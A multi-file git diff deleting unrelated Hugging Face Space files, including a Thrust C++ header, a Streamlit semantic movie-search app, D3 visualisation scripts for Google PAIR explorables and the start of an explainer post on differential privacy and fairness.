index 7abca9bcf3f1697196277c40c4718c2c5004de9a..0000000000000000000000000000000000000000
--- a/spaces/ma-xu/LIVE/thrust/thrust/system/detail/adl/merge.h
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- *  Copyright 2008-2013 NVIDIA Corporation
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a fill of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-#pragma once
-
-#include <thrust/detail/config.h>
-
-// the purpose of this header is to #include the merge.h header
-// of the sequential, host, and device systems. It should be #included in any
-// code which uses adl to dispatch merge
-
-#include <thrust/system/detail/sequential/merge.h>
-
-// SCons can't see through the #defines below to figure out what this header
-// includes, so we fake it out by specifying all possible files we might end up
-// including inside an #if 0.
-#if 0
-#include <thrust/system/cpp/detail/merge.h>
-#include <thrust/system/cuda/detail/merge.h>
-#include <thrust/system/omp/detail/merge.h>
-#include <thrust/system/tbb/detail/merge.h>
-#endif
-
-#define __THRUST_HOST_SYSTEM_MERGE_HEADER <__THRUST_HOST_SYSTEM_ROOT/detail/merge.h>
-#include __THRUST_HOST_SYSTEM_MERGE_HEADER
-#undef __THRUST_HOST_SYSTEM_MERGE_HEADER
-
-#define __THRUST_DEVICE_SYSTEM_MERGE_HEADER <__THRUST_DEVICE_SYSTEM_ROOT/detail/merge.h>
-#include __THRUST_DEVICE_SYSTEM_MERGE_HEADER
-#undef __THRUST_DEVICE_SYSTEM_MERGE_HEADER
-
diff --git a/spaces/manishjaiswal/08-Search-Streamlit-Session-State-QueryParameters-Demo/app.py b/spaces/manishjaiswal/08-Search-Streamlit-Session-State-QueryParameters-Demo/app.py
deleted file mode 100644
index 12da2add760ca1f503368371f07748774e043859..0000000000000000000000000000000000000000
--- a/spaces/manishjaiswal/08-Search-Streamlit-Session-State-QueryParameters-Demo/app.py
+++ /dev/null
@@ -1,209 +0,0 @@
-import time
-import re
-import pandas as pd
-import numpy as np
-import torch
-import torch.nn.functional as F
-from transformers import AutoTokenizer, AutoModel
-from tokenizers import Tokenizer, AddedToken
-import streamlit as st
-from st_click_detector import click_detector
-
-# This lil dealio is my test of the new experiemntal primitives which promise to put cach in streamlit within striking distance of simulating cognitive episodic memory (personalized feelings about a moment through space time), and semantic memory (factual memories we are ready to share and communicate like your email address or physical address yo
-# Goal of this is to solve AI problem of two types of memory and their part in cognitive AGI along with the theory of model making as functional design of intelligence :
-# Type 1 Memory - Semantic Memory:
-# Semantic memory is conscious long-term memory for meaning, understanding, and conceptual facts about the world. Semantic memory is one of the two main varieties of explicit, conscious, long-term memory, which is memory that can be retrieved into conscious awareness after a long delay (from several seconds to years).
-# Type 2 Memory - Episodic Memory:
-# Episodic memory refers to the conscious recollection of a personal experience that contains information on what has happened and also where and when it happened. Recollection from episodic memory also implies a kind of first-person subjectivity that has been termed autonoetic consciousness.
-# Functional Design of Intelligence: The brain uses map like structures to build a models repeatedly as part of LTM and STM memory by creating hundreds of thousands of models of everything we know. This allows us to answer important questions about how we perceive the world, why we have a sense of self, and the origin of higher level thought processes.
-# Research Interests: AGI and ML Pipelines, Ambient IoT AI, Behavior Cognitive and Memory AI, Clinical Medical and Nursing AI, Genomics AI,  GAN Gaming GAIL  AR VR XR and Simulation AI, Graph Ontology KR KE AI, Languages and NLP AI, Quantum Compute GPU TPU NPU AI, Vision Image Document and Audio/Video AI
-# Layman terms for interest with keyword intersection for plot search.
-
-
-# callback to update query param on selectbox change
-def update_params():
-    try:
-        print("update1")
-        #st.experimental_set_query_params(option=st.session_state.query)
-    except ValueError:
-        pass
-        
-# RADIO BUTTON SET PERSIST
-# radio button persistance - plan is to hydrate when selected and change url along with textbox and search
-options = ["artificial intelligence", "robot", "VR", "medicine", "genomics", "cure", "heal", "brain", "support", "friendship", "memory", "aging", "pharma", "virus", "nurse", "doctor", "therapist", "nutrition", "technology", "computer", "software", "neuroscience", "birth", "death", "soul", "space", "sci-fi"] # these options come from my research interests blended with keywords across film genres
-
-query_params = st.experimental_get_query_params()
-ix = 0
-if query_params:
-    try:
-        q0 = query_params['query'][0]
-        ix = options.index(q0)
-    except ValueError:
-        pass
-selected_option = st.radio(
-    "Param", options, index=ix, key="query", on_change=update_params
-)
-st.write("<style>div.row-widget.stRadio > div{flex-direction:row;}</style>", unsafe_allow_html=True)
-
-
-st.experimental_set_query_params(option=selected_option)
-
-try:
-    st.session_state.query = query  # if set already above.  this prevents two interface elements setting it first time once
-except: # catch exception and set query param to predefined value
-    print("Error cant set after init")
-
-
-# Text Input, check the query params  set the text input to query value if in session
-# check if here for the first time then set the query
-if 'query' not in st.session_state:
-    #st.session_state['query'] = 'AI'
-    query = st.text_input("", value="artificial intelligence", key="query")
-    #st.session_state.query = 'AI' 
-    #st.write(st.session_state.query)
-else:
-    query = st.text_input("", value=st.session_state["query"], key="query")
-try:
-    query_params = st.experimental_get_query_params()
-    query_option = query_params['query'][0] #throws an exception when visiting http://host:port
-    option_selected = st.sidebar.selectbox('Pick option', options, index=options.index(query_option))
-except: # catch exception and set query param to predefined value
-    st.experimental_set_query_params(query="health") # set default
-    query_params = st.experimental_get_query_params()
-    query_option = query_params['query'][0]
-    query_option = "ai"
-    
-DEVICE = "cpu"
-MODEL_OPTIONS = ["msmarco-distilbert-base-tas-b", "all-mpnet-base-v2"]
-DESCRIPTION = """
-# Semantic search
-**Enter your query and hit enter**
-Built with 🤗 Hugging Face's [transformers](https://huggingface.co/transformers/) library, [SentenceBert](https://www.sbert.net/) models, [Streamlit](https://streamlit.io/) and 44k movie descriptions from the Kaggle [Movies Dataset](https://www.kaggle.com/rounakbanik/the-movies-dataset)
-"""
-
-# Session state - search parms
-if 'key' not in st.session_state:
-    st.session_state['key'] = 'value'
-if 'key' not in st.session_state:
-    st.session_state.key = 'value'
-st.write(st.session_state.key)
-st.write(st.session_state)
-
-#st.session_state
-for key in st.session_state.keys():
-    del st.session_state[key]
-#st.text_input("Your name", key="name")
-#st.session_state.name
-
-@st.cache(
-    show_spinner=False,
-    hash_funcs={
-        AutoModel: lambda _: None,
-        AutoTokenizer: lambda _: None,
-        dict: lambda _: None,
-    },
-)
-def load():
-    models, tokenizers, embeddings = [], [], []
-    for model_option in MODEL_OPTIONS:
-        tokenizers.append(
-            AutoTokenizer.from_pretrained(f"sentence-transformers/{model_option}")
-        )
-        models.append(
-            AutoModel.from_pretrained(f"sentence-transformers/{model_option}").to(
-                DEVICE
-            )
-        )
-    embeddings.append(np.load("embeddings.npy"))
-    embeddings.append(np.load("embeddings2.npy"))
-    df = pd.read_csv("movies.csv")
-    return tokenizers, models, embeddings, df
-
-tokenizers, models, embeddings, df = load()
-def pooling(model_output):
-    return model_output.last_hidden_state[:, 0]
-
-def compute_embeddings(texts):
-    encoded_input = tokenizers[0](
-        texts, padding=True, truncation=True, return_tensors="pt"
-    ).to(DEVICE)
-
-    with torch.no_grad():
-        model_output = models[0](**encoded_input, return_dict=True)
-
-    embeddings = pooling(model_output)
-    return embeddings.cpu().numpy()
-
-def pooling2(model_output, attention_mask):
-    token_embeddings = model_output[0]
-    input_mask_expanded = (
-        attention_mask.unsqueeze(-1).expand(token_embeddings.size()).float()
-    )
-    return torch.sum(token_embeddings * input_mask_expanded, 1) / torch.clamp(
-        input_mask_expanded.sum(1), min=1e-9
-    )
-
-def compute_embeddings2(list_of_strings):
-    encoded_input = tokenizers[1](
-        list_of_strings, padding=True, truncation=True, return_tensors="pt"
-    ).to(DEVICE)
-    with torch.no_grad():
-        model_output = models[1](**encoded_input)
-    sentence_embeddings = pooling2(model_output, encoded_input["attention_mask"])
-    return F.normalize(sentence_embeddings, p=2, dim=1).cpu().numpy()
-
-@st.cache(
-    show_spinner=False,
-    hash_funcs={Tokenizer: lambda _: None, AddedToken: lambda _: None},
-)
-def semantic_search(query, model_id):
-    start = time.time()
-    if len(query.strip()) == 0:
-        return ""
-    if "[Similar:" not in query:
-        if model_id == 0:
-            query_embedding = compute_embeddings([query])
-        else:
-            query_embedding = compute_embeddings2([query])
-    else:
-        match = re.match(r"\[Similar:(\d{1,5}).*", query)
-        if match:
-            idx = int(match.groups()[0])
-            query_embedding = embeddings[model_id][idx : idx + 1, :]
-            if query_embedding.shape[0] == 0:
-                return ""
-        else:
-            return ""
-    indices = np.argsort(embeddings[model_id] @ np.transpose(query_embedding)[:, 0])[
-        -1:-11:-1
-    ]
-    if len(indices) == 0:
-        return ""
-    result = "<ol>"
-    for i in indices:
-        result += f"<li style='padding-top: 10px'><b>{df.iloc[i].title}</b> ({df.iloc[i].release_date}). {df.iloc[i].overview} "
-        #result += f"<a id='{i}' href='#'>Similar movies</a></li>"
-        #result += f"<a id='{i}' href=https://www.imdb.com/find?q={df.iloc[i].title}&ref_=nv_sr_sm>IMDB</a></li>"
-    delay = "%.3f" % (time.time() - start)
-    return f"<p><i>Computation time: {delay} seconds</i></p>{result}</ol>"
-
-st.sidebar.markdown(DESCRIPTION)
-
-model_choice = st.sidebar.selectbox("Similarity model", options=MODEL_OPTIONS)
-model_id = 0 if model_choice == MODEL_OPTIONS[0] else 1
-
-clicked = click_detector(semantic_search(query, model_id))
-
-if clicked != "":
-    st.markdown(clicked)
-    change_query = False
-    if "last_clicked" not in st.session_state:
-        st.session_state["last_clicked"] = clicked
-        change_query = True
-    else:
-        if clicked != st.session_state["last_clicked"]:
-            st.session_state["last_clicked"] = clicked
-            change_query = True
-    if change_query:
-        st.session_state["query"] = f"[Similar:{clicked}] {df.iloc[int(clicked)].title}"
-        st.experimental_rerun()
diff --git a/spaces/manjuvallayil/video_text/README.md b/spaces/manjuvallayil/video_text/README.md
deleted file mode 100644
index 7b4e84b4eae11a36854cd51495a20fa5fdde2627..0000000000000000000000000000000000000000
--- a/spaces/manjuvallayil/video_text/README.md
+++ /dev/null
@@ -1,12 +0,0 @@
----
-title: Video Text
-emoji: 💩
-colorFrom: red
-colorTo: red
-sdk: gradio
-sdk_version: 3.23.0
-app_file: app.py
-pinned: false
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/marlenezw/audio-driven-animations/MakeItTalk/facewarp/__init__.py b/spaces/marlenezw/audio-driven-animations/MakeItTalk/facewarp/__init__.py
deleted file mode 100644
index 7f3999734455352473532ef25cddf059eb5baee3..0000000000000000000000000000000000000000
--- a/spaces/marlenezw/audio-driven-animations/MakeItTalk/facewarp/__init__.py
+++ /dev/null
@@ -1,10 +0,0 @@
-"""
- # Copyright 2020 Adobe
- # All Rights Reserved.
- 
- # NOTICE: Adobe permits you to use, modify, and distribute this file in
- # accordance with the terms of the Adobe license agreement accompanying
- # it.
- 
-"""
-
diff --git a/spaces/merve/data-leak/public/fill-in-the-blank/init-pair.js b/spaces/merve/data-leak/public/fill-in-the-blank/init-pair.js
deleted file mode 100644
index dbd16d4499ddbcc59234fcdefbf7a5cad6f91a7a..0000000000000000000000000000000000000000
--- a/spaces/merve/data-leak/public/fill-in-the-blank/init-pair.js
+++ /dev/null
@@ -1,360 +0,0 @@
-/* Copyright 2021 Google LLC. All Rights Reserved.
-
-Licensed under the Apache License, Version 2.0 (the "License");
-you may not use this file except in compliance with the License.
-You may obtain a copy of the License at
-
-    http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing, software
-distributed under the License is distributed on an "AS IS" BASIS,
-WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-See the License for the specific language governing permissions and
-limitations under the License.
-==============================================================================*/
-
-
-window.initPair = function(pair){
-  var isMobile = window.innerWidth <= 820
-
-  var sel = d3.select('.' + pair.class).html('')
-    .at({role: 'graphics-document', 'aria-label': pair.ariaLabel})
-    .on('keydown', function(){
-      sel.classed('changed', 1)
-      if (d3.event.keyCode != 13) return
-      d3.event.preventDefault()
-      // return
-
-      pair.str0 = ''
-      pair.str1 = ''
-
-      updateChart()
-    })
-
-  if (!sel.node()) return
-
-  var optionSel = sel.append('div.options')
-
-  var inputRow = optionSel.append('div.flex-row.flex-row-textarea')
-  var input1Sel = inputRow.append('textarea.input-1') 
-    .st({color: util.colors[1]}).at({cols: 30})
-  input1Sel.node().value = pair.s1.replace('[MASK]', '_')
-
-  var input0Sel = inputRow.append('textarea.input-0')
-    .st({color: util.colors[0]}).at({cols: 30})
-  input0Sel.node().value = pair.s0.replace('[MASK]', '_')
-
-  if (isMobile){
-    sel.selectAll('textarea').on('change', updateChart)
-  }
-
-  var countSel = optionSel.append('div')
-    .append('b').text('Number of Tokens')
-    .append('info').text('ⓘ').call(addLockedTooltip)
-    .datum('The scales are set using the top N tokens for each sentence. <br><br>"Likelihoods" will show more than N tokens if a top completion for one sentence is unlikely for the other sentence.')
-    .parent().parent()
-    .append('div.flex-row')
-    .appendMany('div.button', [30, 200, 1000, 5000, 99999])
-    .text(d => d > 5000 ? 'All' : d)
-    .st({textAlign: 'center'})
-    .on('click', d => {
-      pair.count = d
-      updateChart()
-    })
-
-  var typeSel = optionSel.append('div')
-    .append('b').text('Chart Type')
-    .append('info').text('ⓘ').call(addLockedTooltip)
-    .datum('"Likelihoods" shows the logits from both models plotted directly with a shared linear scale.<br><br> To better contrast the outputs, "Differences" shows <code>logitA - logitB</code> on the y-axis and <code>mean(logitA, logitB)</code> on the x-axis with separate linear scales.')
-    .parent().parent()
-    .append('div.flex-row')
-    .appendMany('div.button', ['Likelihoods', 'Differences'])
-    .text(d => d)
-    .st({textAlign: 'center'})
-    .on('click', d => {
-      pair.type = d
-      updateChart()
-    })
-
-  var modelSel = optionSel.append('div')
-    .st({display: pair.model == 'BERT' ? 'none' : ''})
-    .append('b').text('Model')
-    .parent()
-    .append('div.flex-row')
-    .appendMany('div.button', ['BERT', 'Zari'])
-    .text(d => d)
-    .st({textAlign: 'center'})
-    .on('click', d => {
-      pair.model = d
-      updateChart()
-    })
-
-  // TODO add loading spinner
-  var updateSel = optionSel
-    .append('div.flex-row')
-    .append('div.button.update').on('click', updateChart)
-    .text('Update')
-    .st({display: isMobile ? 'none' : ''})
-
-  var warningSel = optionSel.append('div.warning')
-    .text('⚠️Some of the text this model was trained on includes harmful stereotypes. This is a tool to uncover these associations—not an endorsement of them.')
-  
-  var resetSel = optionSel.append('div.reset')
-    .html('<span>↻</span> Reset')
-    .on('click', () => {
-      pair = JSON.parse(pair.pairStr)
-      pair.pairStr = JSON.stringify(pair)
-
-      input0Sel.node().value = pair.s0
-      input1Sel.node().value = pair.s1
-
-      updateChart(true)
-    })
-
-  if (pair.alts){
-    d3.select('.' + pair.class + '-alts').html('')
-      .classed('alt-block', 1).st({display: 'block'})
-      .appendMany('span.p-button-link', pair.alts)
-      .html(d => d.str)
-      .on('click', d => {
-        input0Sel.node().value = d.s0
-        input1Sel.node().value = d.s1
-
-        updateChart()
-      })
-  }
-
-
-  var margin = {bottom: 50, left: 25, top: 5, right: 20}
-  var graphSel = sel.append('div.graph')
-  var totalWidth = graphSel.node().offsetWidth
-  var width = totalWidth - margin.left - margin.right
-
-  var c = d3.conventions({
-    sel: graphSel.append('div').st({marginTop: isMobile ? 20 : -5}),
-    width,
-    height: width,
-    margin,
-    layers: 'sdds',
-  })
-
-
-  var nTicks = 4
-  var tickScale = d3.scaleLinear().range([0, c.width])
-  c.svg.appendMany('path.bg-tick', d3.range(nTicks + 1))
-    .at({d: d => `M ${.5 + Math.round(tickScale(d/nTicks))} 0 V ${c.height}`})
-  c.svg.appendMany('path.bg-tick', d3.range(nTicks + 1))
-    .at({d: d => `M 0 ${.5 + Math.round(tickScale(d/nTicks))} H ${c.width}`})
-
-
-  var annotationSel = c.layers[1].appendMany('div.annotations', pair.annotations)
-    .translate(d => d.pos)
-    .html(d => d.str)
-    .st({color: d => d.color, width: 250, postion: 'absolute'})
-
-  var scatter = window.initScatter(c)
-
-  updateChart(true)
-  
-
-  async function updateChart(isFirst){
-    sel.classed('changed', 0)
-    warningSel.st({opacity: isFirst ? 0 : 1})
-    resetSel.st({opacity: isFirst ? 0 : 1})
-    annotationSel.st({opacity: isFirst ? 1 : 0})
-
-    countSel.classed('active', d => d == pair.count)
-    typeSel.classed('active', d => d == pair.type)
-    modelSel.classed('active', d => d == pair.model)
-
-    function getStr(sel){ 
-      return sel.node().value.replace('_', '[MASK]')
-    }
-
-    var modelPath = pair.model == 'Zari' ? 'embed_zari_cda' : 'embed'
-
-    pair.s0 = input0Sel.node().value.replace('_', '[MASK]')
-    pair.s1 = input1Sel.node().value.replace('_', '[MASK]')
-
-    updateSel.classed('loading', 1)
-    var vals0 = await post(modelPath, {sentence: pair.s0})
-    var vals1 = await post(modelPath, {sentence: pair.s1})
-    updateSel.classed('loading', 0)
-
-
-    var allTokens = vals0.map((v0, i) => {
-      return {word: tokenizer.vocab[i], v0, i, v1: vals1[i]}
-    })
-    allTokens.forEach(d => {
-      d.dif = d.v0 - d.v1
-      d.meanV = (d.v0 + d.v1) / 2
-      d.isVisible = false
-    })
-
-    _.sortBy(allTokens, d => -d.v1).forEach((d, i) => d.v1i = i)
-    _.sortBy(allTokens, d => -d.v0).forEach((d, i) => d.v0i = i)
-
-    var topTokens = allTokens.filter(d => d.v0i <= pair.count || d.v1i <= pair.count)
-
-
-    var logitExtent = d3.extent(topTokens.map(d => d.v0).concat(topTokens.map(d => d.v1)))
-
-    var tokens = allTokens
-      .filter(d => logitExtent[0] <= d.v0 && logitExtent[0] <= d.v1)
-
-    var mag = logitExtent[1] - logitExtent[0]
-    logitExtent = [logitExtent[0] - mag*.002, logitExtent[1] + mag*.002]
-
-    if (pair.type == 'Differences') tokens = _.sortBy(allTokens, d => -d.meanV).slice(0, pair.count)
-
-    tokens.forEach(d => {
-      d.isVisible = true
-    })
-
-    var maxDif = d3.max(d3.extent(tokens, d => d.dif).map(Math.abs))
-    var color = palette(-maxDif*.8, maxDif*.8)
-
-    updateSentenceLabels()
-
-    if (pair.type == 'Likelihoods'){
-      drawXY()
-    } else{
-      drawRotated()
-    }
-
-    sel.classed('is-xy', pair.type == 'Likelihoods')
-    sel.classed('is-rotate', pair.type != 'Likelihoods')
-
-
-    function drawXY(){
-      c.x.domain(logitExtent)
-      c.y.domain(logitExtent)
-
-      d3.drawAxis(c)
-
-      var s = {30: 4, 200: 3, 1000: 3}[pair.count] || 2
-      var scatterData = allTokens.map(d => {
-        var x = c.x(d.v0)
-        var y = c.y(d.v1)
-        var fill = color(d.dif)
-        var dif = d.dif
-        var word = d.word
-        var show = ''
-        var isVisible = d.isVisible
-
-        return {x, y, s, dif, fill, word, show, isVisible}
-      })
-
-      var textCandidates = _.sortBy(scatterData.filter(d => d.isVisible), d => d.dif)
-      d3.nestBy(textCandidates.slice(0, 1000), d => Math.round(d.y/10))
-        .forEach(d => d[0].show = 'uf')
-      d3.nestBy(textCandidates.reverse().slice(0, 1000), d => Math.round(d.y/10))
-        .forEach(d => d[0].show = 'lr')
-
-      logitExtent.pair = pair
-      scatter.draw(c, scatterData, true)
-
-      c.svg.selectAppend('text.x-axis-label.xy-only')
-        .translate([c.width/2, c.height + 24])
-        .text(pair.label0 ? ' __ likelihood, ' + pair.label0 + ' sentence →' : '__ likelihood, sentence two →')
-        .st({fill: util.colors[0]})
-        .at({textAnchor: 'middle'})
-
-
-      c.svg.selectAppend('g.y-axis-label.xy-only')
-        .translate([c.width + 20, c.height/2])
-        .selectAppend('text')
-        .text(pair.label1 ? ' __ likelihood, ' + pair.label1 + ' sentence →' : '__ likelihood, sentence one →')
-        .st({fill: util.colors[1]})
-        .at({textAnchor: 'middle', transform: 'rotate(-90)'})
-    }
-
-    function drawRotated(){
-      c.x.domain(d3.extent(tokens, d => d.meanV))
-      c.y.domain([maxDif, -maxDif])
-
-      d3.drawAxis(c)
-
-      var scatterData = allTokens.map(d => {
-        var x = c.x(d.meanV)
-        var y = c.y(d.dif)
-        var fill = color(d.dif)
-        var word = d.word
-        var show = ''
-        var isVisible = d.isVisible
-
-        return {x, y, s: 2, fill, word, show, isVisible}
-      })
-
-      scatterData.forEach(d => {
-        d.dx = d.x - c.width/2
-        d.dy =  d.y - c.height/2
-      })
-
-      var textCandidates = _.sortBy(scatterData, d => -d.dx*d.dx - d.dy*d.dy)
-        .filter(d => d.isVisible)
-        .slice(0, 5000)
-      d3.nestBy(textCandidates, d => Math.round(12*Math.atan2(d.dx, d.dy)))
-        .map(d => d[0])
-        .forEach(d => d.show = (d.dy < 0 ? 'u' : 'l') + (d.dx < 0 ? 'l' : 'r'))
-
-      scatter.draw(c, scatterData, false)
-
-      c.svg.selectAppend('text.rotate-only.x-axis-label')
-        .translate([c.width/2, c.height + 24])
-        .text('__ likelihood, both sentences →')
-        .at({textAnchor: 'middle'})
-        .st({fill: '#000'})
-
-      c.svg.selectAll('g.rotate-only.sent-1,g.rotate-only.sent-1').remove()
-      c.svg.selectAppend('g.rotate-only.sent-1')
-        .translate([c.width + 20, c.height/2])
-        .append('text')
-        .text(`Higher likelihood, ${pair.label1 ? pair.label1 + ' sentence ' : 'sentence one'}  →`)
-        .at({textAnchor: 'start', transform: 'rotate(-90)', x: 20})
-        .st({fill: util.colors[1]})
-
-      c.svg.selectAppend('g.rotate-only.sent-1')
-        .translate([c.width + 20, c.height/2 + 0])
-        .append('text')
-        .text(`← Higher likelihood, ${pair.label0 ? pair.label0 + ' sentence ' : 'sentence two'}`)
-        .at({textAnchor: 'end', transform: 'rotate(-90)', x: -20})
-        .st({fill: util.colors[0]})
-    }
-  }
-
-  function updateSentenceLabels(){
-    var t0 = tokenizer.tokenize(pair.s0)
-    var t1 = tokenizer.tokenize(pair.s1)
-
-    var i = 0
-    while (t0[i] == t1[i] && i < t0.length) i++
-
-    var j = 1
-    while (t0[t0.length - j] == t1[t1.length - j] && j < t0.length) j++
-
-    pair.label0 = tokens2origStr(t0, pair.s0)
-    pair.label1 = tokens2origStr(t1, pair.s1)
-
-    function tokens2origStr(t, s){
-      var tokenStr = tokenizer.decode(t.slice(i, -j + 1)).trim()
-      var lowerStr = s.toLowerCase()
-
-      var startI = lowerStr.indexOf(tokenStr)
-      return s.slice(startI, startI + tokenStr.length)
-    }
-
-    if (
-      !pair.label0.length || 
-      !pair.label1.length || 
-      pair.label0.length > 15 || 
-      pair.label1.length > 15){
-      pair.label0 = ''
-      pair.label1 = ''
-    }
-
-    // console.log(i, j, pair.label0, pair.label1)
-  }
-}
-
-if (window.init) init()
diff --git a/spaces/merve/fill-in-the-blank/source/private-and-fair/footnote.js b/spaces/merve/fill-in-the-blank/source/private-and-fair/footnote.js
deleted file mode 100644
index 383057091ac6456ef8d4c7205478d89bef07ad87..0000000000000000000000000000000000000000
--- a/spaces/merve/fill-in-the-blank/source/private-and-fair/footnote.js
+++ /dev/null
@@ -1,132 +0,0 @@
-d3.select('body').selectAppend('div.tooltip.tooltip-hidden')
-
-var footnums = '¹²³⁴⁵⁶⁷⁸⁹'
-
-var footendSel = d3.selectAll('.footend')
-  .each(function(d, i){
-    var sel = d3.select(this)
-    var ogHTML = sel.parent().html()
-    sel
-      .at({href: '#footstart-' + i, id: 'footend-' + i})
-      .text(footnums[i])
-      .datum(ogHTML)
-  })
-
-footendSel.parent().parent().selectAll('br').remove()
-
-var footstartSel = d3.selectAll('.footstart')
-  .each(function(d, i){
-    d3.select(this)
-      .at({
-        href: '#footend-' + i,
-      })
-      .text(footnums[i])
-      .datum(footendSel.data()[i])
-      .parent().at({id: 'footstart-' + i})
-  })
-  .call(addLockedTooltip)
-
-ttSel.classed('tooltip-footnote', 1)
-
-function addLockedTooltip(sel){
-  sel
-    .on('mouseover', function(d, i){
-      ttSel.classed('tooltip-footnote', 1)
-        .html(d)
-        .select('.footend').remove()
-
-      var x = this.offsetLeft,
-          y = this.offsetTop,
-          bb = ttSel.node().getBoundingClientRect(),
-          left = d3.clamp(20, (x-bb.width/2), window.innerWidth - bb.width - 20),
-          top = innerHeight + scrollY > y + 20 + bb.height ? y + 20 : y - bb.height - 10;
-
-      ttSel.st({left, top}).classed('tooltip-hidden', false)
-    })
-
-  sel.on('mousemove',mouseover).on('mouseout', mouseout)
-  ttSel.on('mousemove', mouseover).on('mouseout', mouseout)
-  function mouseover(){
-    if (window.__ttfade) window.__ttfade.stop()
-  }
-  function mouseout(){
-    if (window.__ttfade) window.__ttfade.stop()
-    window.__ttfade = d3.timeout(() => {
-      ttSel
-        .classed('tooltip-hidden', 1)
-    }, 250)
-  }
-}
-
-
-
-
-
-var infoSel = d3.select('.info-box').html('')
-  .st({border: '1px solid orange', background: 'rgba(255,250,241,.5)', maxWidth: 750, margin: '0 auto', padding: 20, paddingTop: 5, paddingBottom: 5})
-  // .st({textAlign: })
-
-infoSel.append('p')
-  .st({marginLeft: 10})
-  .html('Not familiar with how machine learning models are trained or why they might leak data? <br>These interactive articles will get you up to speed.')
-  .html('New to some of these concepts? These interactive articles will get you up to speed.')
-  .html('New to machine learning or differential privacy? These interactive articles will get you up to speed.')
-
-var articles = [
-  {
-    img: 'https://pair.withgoogle.com/explorables/images/anonymization.png',
-    title: 'Collecting Sensitive Information',
-    permalink: 'https://pair.withgoogle.com/explorables/anonymization/',
-  },
-  {
-    img: 'https://pair.withgoogle.com/explorables/images/model-inversion.png',
-    title: 'Why Some Models Leak Data',
-    permalink: 'https://pair.withgoogle.com/explorables/data-leak/',
-  },
-  {
-    img: 'http://playground.tensorflow.org/preview.png',
-    title: 'TensorFlow Playground',
-    permalink: 'https://playground.tensorflow.org'
-  },
-]
-
-
-var postSel = infoSel.appendMany('a.post', articles)
-  .st({
-    textAlign: 'center',
-    width: '30.5%', 
-    display: 'inline-block', 
-    verticalAlign: 'top',
-    marginLeft: 10,
-    marginRight: 10,
-    textDecoration: 'none',
-  })
-  .at({href: d => d.permalink})
-
-postSel.append('div.img')
-  .st({
-    width: '100%', 
-    height: 80,
-    backgroundImage: d => `url(${d.img})`,
-    backgroundSize: 'cover',
-    backgroundPosition: 'center',
-    outline: '1px solid #ccc'
-  })
-
-postSel.append('p.title')
-  .text(d => d.title)
-  .st({
-    verticalAlign: 'top',
-    marginTop: 10,
-    textDecoration: 'none',
-    fontSize: 15,
-    fontWeight: 500,
-  })
-
-
-// width: 100%;
-//   height: 200px;
-//   background-image: url(https://pair.withgoogle.com/explorables/images/model-inversion.png);
-//   background-size: cover;
-//   background-position: center center;
-
diff --git a/spaces/merve/measuring-fairness/source/_posts/2021-08-27-private-and-fair.md b/spaces/merve/measuring-fairness/source/_posts/2021-08-27-private-and-fair.md
deleted file mode 100644
index bde65270e5991e7e765eb97294838e8732bc65e9..0000000000000000000000000000000000000000
--- a/spaces/merve/measuring-fairness/source/_posts/2021-08-27-private-and-fair.md
+++ /dev/null
@@ -1,145 +0,0 @@
----
-template: post.html
-title: Can a Model Be Differentially Private and Fair?
-summary: Training models with differential privacy stops models from inadvertently leaking sensitive data, but there's an unexpected side-effect: reduced accuracy on underrepresented subgroups.
-shareimg: https://pair.withgoogle.com/explorables/images/private-and-fair.png
-shareimgabstract: https://pair.withgoogle.com/explorables/images/private-and-fair-abstract.png
-permalink: /private-and-fair/
----
-
-Imagine you want to use machine learning to suggest new bands to listen to. You could do this by having lots of people list their favorite bands and using them to train a model. The trained model might be quite useful and fun, but if someone pokes and prods at the model in just the right way, they could [extract](https://www.wired.com/2007/12/why-anonymous-data-sometimes-isnt/) the music preferences of someone whose data was used to train the model. Other kinds of models are potentially vulnerable; [credit card numbers](https://bair.berkeley.edu/blog/2019/08/13/memorization/) have been pulled out of language models and [actual faces](https://rist.tech.cornell.edu/papers/mi-ccs.pdf) reconstructed from image models.
-
-Training with [differential privacy](https://desfontain.es/privacy/differential-privacy-awesomeness.html) limits the information about any one data point that is extractable but in some cases there's an unexpected side-effect: reduced accuracy with underrepresented subgroups disparately impacted.  
-
-<div class='info-box'></div>
-
-Recall that machine learning models are typically trained with [gradient descent](https://playground.tensorflow.org/), a series of small steps taken to minimize an error function. To show how a model can leak its training data, we've trained two simple models to separate red and blue dots using two simple datasets that differ in one way: a single isolated data point in the upper left has been switched from red to blue.  
-
-<div class='epoch-graph'></div>
-
-Notice that the two models have very different boundary lines near the isolated point by the end of the training. Someone with access to the trained model might be able to [infer](https://pair.withgoogle.com/explorables/data-leak/) if the point in the upper left is red or blue — if the color represented sensitive information, like someone's [voting record](https://gothamist.com/news/researchers-know-how-dante-de-blasio-hundreds-other-new-yorkers-voted), that could be quite bad! 
-
-### Protecting the Privacy of Training Points 
-
-We can prevent a single data point from drastically altering the model by [adding](http://www.cleverhans.io/privacy/2019/03/26/machine-learning-with-differential-privacy-in-tensorflow.html) two operations to each training step:<a class='footstart'>²</a>
-- ⚬ Clipping the gradient (here, limiting how much the boundary line can move with each step) to bound the maximum impact a single data point can have on the final model.
-- ⚬ Adding random noise to the gradient.
-
-Try **increasing** the random noise below. We're now training lots of differentially private models; the more the potential models for the red and blue outlier points overlap, the more [plausible deniability](https://pair.withgoogle.com/explorables/anonymization/) the person in the upper left has.<a class='footstart'></a>  
-
-<div class='decision-boundry'></div>  
-
-You can also try dragging the other points around and adjusting the gradient clipping. Are points in the center or outliers more likely to modify the boundary lines? In two dimensions there's a limited number of outliers, but in higher dimensions [more points](https://observablehq.com/@tophtucker/theres-plenty-of-room-in-the-corners) are outliers and much more information can be extracted from a trained model.
-
-Correctly combined, adding gradient clipping and random noise to gradient descent make it possible to train a model with [differential privacy](https://desfontain.es/privacy/differential-privacy-awesomeness.html) – we can guarantee that a model trained on a given dataset is essentially indistinguishable from a model trained on the same dataset with a single point changed.    
